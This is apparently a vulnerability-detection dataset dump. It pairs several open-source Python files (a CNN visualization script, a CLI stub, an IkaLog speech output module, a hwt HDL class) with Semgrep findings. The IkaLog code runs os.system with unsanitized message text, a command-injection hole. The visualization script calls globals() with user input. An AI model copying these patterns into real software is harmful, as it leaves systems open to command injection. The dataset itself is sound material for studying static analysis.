| 70 | 31.16 | 63 | 14 | 480 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_f3901ddbc60162ed_34c28bce", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. 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"Found 'subprocess' functi... | [
7.5,
7.5
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] | [
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"LOW"
] | proximity.py | /examples/bluetooth/proximity.py | datacentricdesign/wheelchair-design-platform | MIT | |
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} | 2.5625 | stackv2 | """
Implementation of multiple visualization algorithms.
Uses the following repos:
- Repo: nn_interpretability
- Autor: hans66hsu
- URL: https://github.com/hans66hsu/nn_interpretability
- Repo:
- Author: Yuchi Ishikawa
- URL: https://github.com/yiskw713/SmoothGradCAMplusplus
"""
import argparse
import os
import sys
import warnings
from itertools import combinations
from pathlib import Path
CURRENT = os.path.dirname(os.path.abspath(__file__))
sys.path.append(str(Path(CURRENT).joinpath("pytorch_cnn_visualizations", "src")))
import numpy as np
import torch
from matplotlib import pyplot as plt
from model import LitModel
from nn_interpretability.interpretation.am.general_am import ActivationMaximization
from nn_interpretability.interpretation.saliency_map.saliency_map import SaliencyMap
from PIL import Image
from skimage.color import rgb2gray
from skimage.io import imsave
from SmoothGradCAMplusplus.cam import GradCAM, SmoothGradCAMpp
from SmoothGradCAMplusplus.utils.visualize import reverse_normalize, visualize
from torch.nn import functional as F
from torchvision import transforms
from torchvision.utils import save_image
from tqdm import tqdm
def parse_args(vis_list):
"""
Parses args
Parameters
----------
vis_list : str
Possible visualizations
Returns
-------
argsparse.Namespace
Namespace with all args
"""
# Handle args parsing
parser = argparse.ArgumentParser(description="Calls visualization algorithms")
parser.add_argument(
"--dest",
dest="dest",
metavar="Destination",
required=True,
type=str,
help="Destination path, subfolder structure will be restored",
)
parser.add_argument(
"--filetype",
dest="filetype",
metavar="Filetype",
type=str,
default="ppm",
help="File type of the images inside the subfolders (without '.'). By default 'ppm'",
)
parser.add_argument(
"--model",
metavar="Model",
dest="model",
type=str,
required=True,
help="Path to model file (.pt)",
)
parser.add_argument(
"--num",
metavar="Number Images",
dest="num_images",
type=int,
default=50,
help="How many images per folder should be (randomly) selected (default: 50)",
)
parser.add_argument(
"--src",
dest="src",
metavar="Source",
type=str,
help="Path to source directory, script runs over subfolders (default: current Directory)",
)
parser.add_argument(
"--vis",
metavar="Visualization",
dest="vis",
type=str,
help="Visualization algorithems that should be used (default: all). Choose from: "
+ str(vis_list),
)
parser.add_argument("--mean", dest="mean", nargs="+", required=True)
parser.add_argument("--std", dest="std", default=None, nargs="+", required=True)
args = parser.parse_args()
# Set source
if args.src is None:
Path(os.getcwd())
else:
Path(args.src)
# Set vis
args.vis = args.vis.split("/")
# Cast mean/std to floag
args.mean = [float(i) for i in args.mean]
args.std = [float(i) for i in args.std]
return args
def get_algo_combinations(algos: list) -> str:
"""
Creates String with all possible combinations of the implemented visualization algorithms
Parameters
----------
algos : list
List with all visualization algorithms
Returns
-------
str
All possible combinations
"""
subsets = []
for L in range(0, len(algos) + 1):
for subset in combinations(algos, L):
subsets.append(subset)
subsets_str = []
for combination in subsets:
if len(combination) > 0:
combination_str = ""
for el in combination:
combination_str += el if len(combination_str) == 0 else "/" + el
subsets_str.append(combination_str)
return subsets_str
def prep_image(org_image: str, mean: list, std: list) -> torch.Tensor:
"""
Prepares image. This includes the normalization and the transformation into a tensor
Parameters
----------
org_image : str
Path to original image
mean : list
List with mean values for the rgb channels
std : list
List with std values for rgb channels
Returns
-------
tensor
Prepared image tensor
"""
ex_image = Image.open(org_image)
normalize = transforms.Normalize(mean, std)
preprocess = transforms.Compose([transforms.ToTensor(), normalize])
tensor = preprocess(ex_image)
prep_img = tensor.unsqueeze(0)
return prep_img
def activation_maximation(
model: LitModel,
target_class: str,
org_image: torch.Tensor,
dest: str,
mean: list,
std: list,
device: str,
) -> None:
"""
Performs activation maximation for the passed class
Parameters
----------
model : LitModel
Model for activation maximation
target_class : str
Target class
org_image : torch.Tensor
Mean image of dataset
dest : str
Path to destination folder
mean : list
Mean values for all three channels of the train dataset
std : list
Mean values for all three channels of the train dataset
device : str
Device that should be used ('cpu'/'cuda')
"""
# Params
img_shape = (3, 48, 48)
lr = 0.001
reg_term = 1e-2
epochs = 1000
threshold = 0.995
# Random image as start
start_img = torch.rand((1, 3, 48, 48)).to(device)
mean_img = org_image # Mean was calculated in mean and passed as org_image
# Preprocess
normalize = transforms.Normalize(mean, std)
transforms.Compose([transforms.ToTensor(), normalize])
# Get Interpreter
interpretor = ActivationMaximization(
model=model,
classes=[],
preprocess=None,
input_size=img_shape,
start_img=start_img,
class_num=int(target_class),
lr=lr,
reg_term=reg_term,
class_mean=mean_img,
epochs=epochs,
threshold=threshold,
)
end_point = interpretor.interpret()
# Calc score
scores = model(end_point.to(device)).to(device)
prob = torch.nn.functional.softmax(scores, 1)[0][int(target_class)] * 100
print(f"Class {target_class}: {prob}")
# Restore Image (unnormalize)
x_restore = end_point.reshape(img_shape) * torch.tensor(std).view(
3, 1, 1
) + torch.tensor(mean).view(3, 1, 1)
image_restored = x_restore.permute(1, 2, 0)
# Save Image
image_dest = Path(dest).joinpath("activation_maximation", target_class)
image_dest.parent.mkdir(exist_ok=True, parents=True)
plt.imsave(f"{image_dest}.ppm", image_restored.numpy())
def salience_map(
model: LitModel,
_,
org_image: torch.tensor,
dest: str,
mean: list,
std: list,
device: str,
) -> None:
"""
Performs saliency map
Parameters
----------
model : LitModel
Model for activation maximation
target_class : _
Not needed
org_image : torch.Tensor
Mean image of dataset
dest : str
Path to destination folder
mean : list
Mean values for all three channels of the train dataset
std : list
Mean values for all three channels of the train dataset
device : str
Device that should be used ('cpu'/'cuda')
"""
# Prep image
prep_img = prep_image(org_image, mean, std)
prep_img = prep_img.to(device)
# Create SaliencyMap
interpretor = SaliencyMap(model, [], [48, 48], None)
# Creat Map
endpoint = interpretor.interpret(prep_img)
# Save map
image_dest = Path(dest).joinpath(
"heatmap_saliency", org_image.parents[0].name, org_image.name
)
image_dest.parents[0].mkdir(parents=True, exist_ok=True)
heatmap = 255 * endpoint.squeeze()
heatmap = heatmap.cpu()
heatmap = rgb2gray(heatmap)
grayscale_uint8 = heatmap.astype(np.uint8)
imsave(str(image_dest), grayscale_uint8)
# plt.imsave(str(image_dest), endpoint.cpu().squeeze(0), cmap="jet")
def grad_cam(
model: LitModel,
_,
org_image: torch.tensor,
dest: str,
mean: list,
std: list,
device: str,
) -> None:
"""
Performs GradCam
Parameters
----------
model : LitModel
Model for activation maximation
target_class : _
Not needed
org_image : torch.Tensor
Mean image of dataset
dest : str
Path to destination folder
mean : list
Mean values for all three channels of the train dataset
std : list
Mean values for all three channels of the train dataset
device : str
Device that should be used ('cpu'/'cuda')
"""
# Prep image
prep_img = prep_image(org_image, mean, std)
prep_img = prep_img.to(device)
# Create SmoothGradCAM
wrapped_model = GradCAM(model, model.features[13])
cam, _ = wrapped_model(prep_img)
img = reverse_normalize(prep_img)
# Create heatmap
_, _, H, W = img.shape
cam = F.interpolate(cam, size=(H, W), mode="bilinear", align_corners=False)
heatmap = 255 * cam.squeeze()
heatmap = heatmap.cpu()
# Save heatmap
image_dest = Path(dest).joinpath(
"heatmap_grad_cam", org_image.parents[0].name, org_image.name
)
image_dest.parents[0].mkdir(parents=True, exist_ok=True)
heatmap = rgb2gray(heatmap)
grayscale_uint8 = heatmap.astype(np.uint8)
imsave(image_dest, grayscale_uint8)
# Save image (overlay)
heatmap = visualize(img.cpu(), cam.cpu())
image_dest = Path(dest).joinpath(
"grad_cam", org_image.parents[0].name, org_image.name
)
image_dest.parents[0].mkdir(parents=True, exist_ok=True)
save_image(heatmap, str(image_dest))
def grad_cam_plus_plus(
model: LitModel,
_,
org_image: torch.tensor,
dest: str,
mean: list,
std: list,
device: str,
) -> None:
"""
Performs GradCam++
Parameters
----------
model : LitModel
Model for activation maximation
target_class : _
Not needed
org_image : torch.Tensor
Mean image of dataset
dest : str
Path to destination folder
mean : list
Mean values for all three channels of the train dataset
std : list
Mean values for all three channels of the train dataset
device : str
Device that should be used ('cpu'/'cuda')
"""
# Prep image
prep_img = prep_image(org_image, mean, std)
prep_img = prep_img.to(device)
# Create SmoothGradCAMpp
wrapped_model = SmoothGradCAMpp(
model, model.features[13], n_samples=25, stdev_spread=0.15
)
cam, _ = wrapped_model(prep_img)
img = reverse_normalize(prep_img)
# Create heatmap
_, _, H, W = img.shape
cam = F.interpolate(cam, size=(H, W), mode="bilinear", align_corners=False)
heatmap = 255 * cam.squeeze()
heatmap = heatmap.cpu()
# Save heatmap
image_dest = Path(dest).joinpath(
"heatmap_grad_cam_pp", org_image.parents[0].name, org_image.name
)
image_dest.parents[0].mkdir(parents=True, exist_ok=True)
heatmap = rgb2gray(heatmap)
grayscale_uint8 = heatmap.astype(np.uint8)
imsave(image_dest, grayscale_uint8)
# Save image (overlay)
heatmap = visualize(img.cpu(), cam.cpu())
image_dest = Path(dest).joinpath(
"grad_cam_pp", org_image.parents[0].name, org_image.name
)
image_dest.parents[0].mkdir(parents=True, exist_ok=True)
save_image(heatmap, str(image_dest))
def generate_mean_image(images: list, device: str) -> torch.tensor:
"""
Generates mean images based on passed images
Parameters
----------
images : list
List with image paths
device : str
'cpu' or 'cuda'
Returns
-------
torch.tensor
Mean image
"""
image_sum = torch.zeros(images[0].size())
for image in images:
image_sum += image
mean_image = (image_sum / len(images)).to(device)
mean_image = (mean_image - mean_image.min()) / (mean_image.max() - mean_image.min())
return mean_image.to(device)
def main(args, vis_to_function, device):
"""
Calls visualization method
Parameters
----------
args : argparse.namespace
Namespace with argumetns
vis_to_function : str
Target visualization method
device : str
'cpu' or 'cuda'
"""
# Load model
model = LitModel.load_from_checkpoint(
args.model,
mean=args.mean,
std=args.std,
train_dataset=None,
test_dataset=args.src,
)
model.to(device)
model.eval()
# Loop over all subfolders (label)
num_dir = len([x for x in Path(args.src).iterdir() if x.is_dir()])
for idx, directory in tqdm(
enumerate([x for x in Path(args.src).iterdir() if x.is_dir()]), total=num_dir
):
# Get target class
target_class = directory.name
# Select random images
files = [x for x in directory.glob(f"*.{args.filetype}") if x.is_file()]
# Run passed algos over the selected images
for algo in args.vis:
if algo == "Activation Maximation":
# Because AM acts on the complete class, we wont call the method on each image
# Instead of that, we create the class mean and pass that into the method
data_list = []
for image in files:
# Generate Tensors
prep_img = prep_image(image, args.mean, args.std)
data_list.append(prep_img)
class_mean_img = generate_mean_image(data_list, device).to(device)
activation_maximation(
model,
directory.name,
class_mean_img,
args.dest,
args.mean,
args.std,
device,
)
else:
for image in files:
globals()[vis_to_function.get(algo)](
model,
target_class,
image,
args.dest,
args.mean,
args.std,
device,
)
if __name__ == "__main__":
warnings.filterwarnings("ignore")
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
possible_algos = ["Activation Maximation", "Saliency", "GradCam", "GradCam++"]
vis_to_function = {
"GradCam": "grad_cam",
"GradCam++": "grad_cam_plus_plus",
"Saliency": "salience_map",
"Activation Maximation": "activation_maximation",
}
algo_combinations = get_algo_combinations(possible_algos)
args = parse_args(algo_combinations)
main(args, vis_to_function, device)
| 556 | 26.2 | 98 | 18 | 3,554 | python | [{"finding_id": "semgrep_rules.python.lang.security.dangerous-globals-use_7911f1683666d755_23297473", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.dangerous-globals-use", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 533, "line_end": 533, "column_start": 21, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.dangerous-globals-use", "path": "/tmp/tmpb8jm_z1l/7911f1683666d755.py", "start": {"line": 533, "col": 21, "offset": 14260}, "end": {"line": 533, "col": 57, "offset": 14296}, "extra": {"message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "metadata": {"cwe": ["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-96"
] | [
"rules.python.lang.security.dangerous-globals-use"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
533
] | [
533
] | [
21
] | [
57
] | [
"A03:2021 - Injection"
] | [
"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | visualization_with_nn.py | /code/visualization_with_nn.py | RobinMaas95/GTSRB_Visualization | MIT | |
2024-11-18T19:11:51.939312+00:00 | 1,575,748,829,000 | 74d4e5325e69a2dcf6b40f1a099c1e2f002df8d8 | 2 | {
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"MIT"
],
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"visit_date": "2020-09-12T03:48:06.775721"
} | 2.5 | stackv2 | import os
from typing import Callable
import click
from funcy import compose
def create_cli(f: Callable = None):
if f is None:
def inner(func: Callable):
return create_cli(func)
return inner
wrappers = [
click.option("--dev/--prod", "-d/-p", "mode", default=True),
click.option(
"--force/--no-force",
"-f/ ",
default=False,
help="Build even if not out of date.",
),
click.argument(
"root", type=click.Path(file_okay=False), default=os.getcwd()
),
click.command(context_settings={"max_content_width": 100}),
]
return compose(*wrappers)(f)
@create_cli()
def cli():
pass
if __name__ == "__main__":
cli()
| 38 | 19.29 | 73 | 13 | 175 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.pass-body-fn_c9961021eef6db1a_02f23a6d", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.pass-body-fn", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "`pass` is the body of function cli. Consider removing this or raise NotImplementedError() if this is a TODO", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 34, "column_start": 1, "column_end": 9, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.pass-body-fn", "path": "/tmp/tmpb8jm_z1l/c9961021eef6db1a.py", "start": {"line": 32, "col": 1, "offset": 698}, "end": {"line": 34, "col": 9, "offset": 731}, "extra": {"message": "`pass` is the body of function cli. Consider removing this or raise NotImplementedError() if this is a TODO", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
""
] | [
"rules.python.lang.best-practice.pass-body-fn"
] | [
"best-practice"
] | [
"MEDIUM"
] | [
"MEDIUM"
] | [
32
] | [
34
] | [
1
] | [
9
] | [
""
] | [
"`pass` is the body of function cli. Consider removing this or raise NotImplementedError() if this is a TODO"
] | [
5
] | [
""
] | [
""
] | __main__.py | /freeze_poetry/__main__.py | mvwicky/freeze-poetry | MIT | |
2024-11-18T19:11:52.604000+00:00 | 1,466,075,427,000 | 35424c8147c33cbb94ba41f8afde589d6da9dda2 | 2 | {
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"repo_name": "ExceptionError/IkaLog",
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"visit_date": "2020-12-25T22:07:36.640144"
} | 2.34375 | stackv2 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# IkaLog
# ======
# Copyright (C) 2015 ExceptionError
# Copyright (C) 2015 Takeshi HASEGAWA
# Copyright (C) 2015 AIZAWA Hina
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os
import threading
import time
from ikalog.constants import *
from ikalog.utils import *
class SayThread(object):
def worker_func(self):
while not self._shutdown:
if (len(self._msg_queue) == 0):
time.sleep(0.1)
continue
msg = self._msg_queue.pop(0)
# FixMe: sanitize the input
cmd = 'say ' + msg
os.system(cmd)
def queue_message(self, msg):
self._msg_queue.append(msg)
def __init__(self):
self._msg_queue = []
self._shutdown = False
self.worker_thread = threading.Thread(
target=self.worker_func, )
self.worker_thread.daemon = True
self.worker_thread.start()
class Say(object):
def __init__(self):
self._say_thread = SayThread()
def _say(self, text):
# print(text)
self._say_thread.queue_message(text)
def on_lobby_matching(self, context):
self._say('Awaiting at the lobby')
def on_lobby_matched(self, context):
self._say('The game will start very soon')
def on_game_start(self, context):
stage_text = IkaUtils.map2text(
context['game']['map'], unknown='Splatoon')
rule_text = IkaUtils.rule2text(context['game']['rule'], unknown='The')
self._say('%(rule)s game starts at %(stage)s' %
{'rule': rule_text, 'stage': stage_text})
def on_game_killed(self, context):
self._say('Splatted someone!')
def on_game_dead(self, context):
self._say('You were splatted!')
def on_game_death_reason_identified(self, context):
reason = context['game']['last_death_reason']
if reason in oob_reasons:
self._say('Out ob bound')
else:
weapon_text = weapons.get(reason, {}).get('en', reason)
self._say('%(weapon)s' % {'weapon': weapon_text})
| 90 | 28.5 | 78 | 16 | 649 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_6205b8f20cc47167_325198fa", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 36, "line_end": 36, "column_start": 17, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/6205b8f20cc47167.py", "start": {"line": 36, "col": 17, "offset": 984}, "end": {"line": 36, "col": 32, "offset": 999}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_6205b8f20cc47167_fb310c21", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 42, "line_end": 42, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/6205b8f20cc47167.py", "start": {"line": 42, "col": 13, "offset": 1150}, "end": {"line": 42, "col": 27, "offset": 1164}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
42
] | [
42
] | [
13
] | [
27
] | [
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | say.py | /ikalog/outputs/osx/say.py | ExceptionError/IkaLog | Apache-2.0 | |
2024-11-18T19:11:53.140476+00:00 | 1,692,795,921,000 | 36f3c62c8d7a8ff4892cf43c952aecb5418e8f77 | 2 | {
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"visit_date": "2023-09-04T06:44:31.103089"
} | 2.40625 | stackv2 | from typing import Tuple, List, Dict, Union, Optional, Generator
from hwt.doc_markers import internal
from hwt.hdl.operatorUtils import replace_input_in_expr
from hwt.hdl.sensitivityCtx import SensitivityCtx
from hwt.hdl.statements.statement import HdlStatement, SignalReplaceSpecType
from hwt.hdl.statements.utils.listOfHdlStatements import ListOfHdlStatement
from hwt.hdl.value import HValue
from hwt.hdl.valueUtils import isSameHVal, areSameHVals
from hwt.pyUtils.uniqList import UniqList
from hwt.synthesizer.rtlLevel.mainBases import RtlSignalBase
class HdlAssignmentContainer(HdlStatement):
"""
Assignment container
:ivar ~.src: source
:ivar ~.dst: destination signal
:ivar ~.indexes: description of index selector on dst
(list of Index/Slice objects) (f.e. [0, 1] means dst[0][1])
:cvar __instCntr: counter used for generating instance ids
:ivar ~._instId: internally used only for intuitive sorting of statements
"""
_DEEPCOPY_SKIP = (*HdlStatement._DEEPCOPY_SKIP, 'src', 'dst', 'indexes')
_DEEPCOPY_SHALLOW_ONLY = (*HdlStatement._DEEPCOPY_SHALLOW_ONLY, "indexes")
__instCntr = 0
def __init__(self, src: Union[RtlSignalBase, HValue], dst: RtlSignalBase,
indexes: Optional[List[Union[RtlSignalBase, HValue]]]=None, virtual_only=False,
parentStm: Optional[HdlStatement]=None,
parentStmList: Optional[ListOfHdlStatement]=None,
sensitivity: Optional[UniqList]=None,
event_dependent_from_branch:Optional[int]=None):
"""
:param dst: destination to assign to
:param src: source which is assigned from
:param indexes: description of index selector on dst
(list of Index/Slice objects) (f.e. [[0], [1]] means dst[0][1])
:param virtual_only: flag indicates that this assignments
is only virtual and should not be added into
netlist, because it is only for internal notation
"""
super(HdlAssignmentContainer, self).__init__(
parentStm,
parentStmList,
sensitivity,
event_dependent_from_branch=event_dependent_from_branch)
self._instId = HdlAssignmentContainer._nextInstId()
self.src = src
self.dst = dst
assert isinstance(dst, RtlSignalBase), dst
self.indexes = indexes
self._collect_inputs()
if not virtual_only:
for i in self._inputs:
i.endpoints.append(self)
dst.drivers.append(self)
dst.ctx.statements.add(self)
self._outputs.append(dst)
def __deepcopy__(self, memo: dict):
result = super(HdlAssignmentContainer, self).__deepcopy__(memo)
result.src = self.src
result.dst = self.dst
result._instId = self._nextInstId()
return result
@internal
def _collect_inputs(self) -> None:
src = self.src
if isinstance(src, RtlSignalBase):
self._inputs.append(src)
indexes = self.indexes
if indexes:
for i in indexes:
if isinstance(i, RtlSignalBase):
self._inputs.append(i)
@internal
def _cut_off_drivers_of(self, sig: RtlSignalBase):
"""
:see: :meth:`hwt.hdl.statements.statement.HdlStatement._cut_off_drivers_of`
"""
if self._try_cut_off_whole_stm(sig):
return self
@internal
def _discover_enclosure(self) -> None:
"""
:see: :meth:`hwt.hdl.statements.statement.HdlStatement._discover_enclosure`
"""
assert self._enclosed_for is None
self._enclosed_for = set()
self._enclosed_for.update(self._outputs)
@internal
def _discover_sensitivity(self, seen: set) -> None:
"""
:see: :meth:`hwt.hdl.statements.statement.HdlStatement._discover_sensitivity`
"""
assert self._sensitivity is None
ctx = self._sensitivity = SensitivityCtx()
casualSensitivity = set()
for inp in self._inputs:
if inp not in seen:
seen.add(inp)
inp._walk_sensitivity(casualSensitivity, seen, ctx)
ctx.extend(casualSensitivity)
@internal
def _fill_enclosure(self, enclosure: Dict[RtlSignalBase, HdlStatement]):
"""
The assignment does not have any uncovered code branches
:see: :meth:`hwt.hdl.statements.statement.HdlStatement._fill_enclosure`
"""
pass
@internal
def _iter_stms(self) -> Generator[HdlStatement, None, None]:
"""
:see: :meth:`hwt.hdl.statements.statement.HdlStatement._iter_stms`
"""
return
yield
@internal
def _iter_stms_for_output(self, output: RtlSignalBase) -> Generator[HdlStatement, None, None]:
"""
:see: :meth:`hwt.hdl.statements.statement.HdlStatement._iter_stms_for_output`
"""
return
yield
@internal
def _on_parent_event_dependent(self):
"""
:see: :meth:`hwt.hdl.statements.statement.HdlStatement._on_parent_event_dependent`
"""
self._event_dependent_from_branch = 0
@internal
def _try_reduce(self) -> Tuple[ListOfHdlStatement, bool]:
"""
:see: :meth:`hwt.hdl.statements.statement.HdlStatement._try_reduce`
"""
return ListOfHdlStatement((self,)), False
@internal
def _is_mergable(self, other: HdlStatement) -> bool:
"""
:see: :meth:`hwt.hdl.statements.statement.HdlStatement._is_mergable`
"""
return isinstance(other, self.__class__)
def isSame(self, other):
"""
:see: :meth:`hwt.hdl.statements.statement.HdlStatement.isSame`
"""
if isinstance(other, self.__class__):
if isSameHVal(self.dst, other.dst)\
and isSameHVal(self.src, other.src)\
and areSameHVals(self.indexes, other.indexes):
return True
return False
@internal
@classmethod
def _nextInstId(cls):
"""
Get next instance id
"""
i = cls.__instCntr
cls.__instCntr += 1
return i
@internal
def _replace_input_nested(self, topStm: HdlStatement, toReplace: SignalReplaceSpecType) -> None:
"""
:see: :meth:`hwt.hdl.statements.statement.HdlStatement._replace_input`
"""
didUpdate = False
if self.indexes:
new_indexes = []
for ind in self.indexes:
new_i, _didUpdate = replace_input_in_expr(topStm, self, ind, toReplace)
new_indexes.append(new_i)
didUpdate |= _didUpdate
self.indexes = new_indexes
self.src, _didUpdate = replace_input_in_expr(topStm, self, self.src, toReplace)
didUpdate |= _didUpdate
if didUpdate:
self._replace_input_update_sensitivity_and_inputs(toReplace)
return didUpdate
| 207 | 33.22 | 100 | 17 | 1,723 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.code-after-unconditional-return_af9236246f7bf9d8_307d14bd", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.code-after-unconditional-return", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "code after return statement will not be executed", "remediation": "", "location": {"file_path": "unknown", "line_start": 134, "line_end": 135, "column_start": 9, "column_end": 14, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.code-after-unconditional-return", "path": "/tmp/tmpb8jm_z1l/af9236246f7bf9d8.py", "start": {"line": 134, "col": 9, "offset": 4753}, "end": {"line": 135, "col": 14, "offset": 4773}, "extra": {"message": "code after return statement will not be executed", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.code-after-unconditional-return_af9236246f7bf9d8_2288b92c", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.code-after-unconditional-return", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "code after return statement will not be executed", "remediation": "", "location": {"file_path": "unknown", "line_start": 142, "line_end": 143, "column_start": 9, "column_end": 14, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.code-after-unconditional-return", "path": "/tmp/tmpb8jm_z1l/af9236246f7bf9d8.py", "start": {"line": 142, "col": 9, "offset": 5006}, "end": {"line": 143, "col": 14, "offset": 5026}, "extra": {"message": "code after return statement will not be executed", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
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] | assignmentContainer.py | /hwt/hdl/statements/assignmentContainer.py | Nic30/hwt | MIT | |
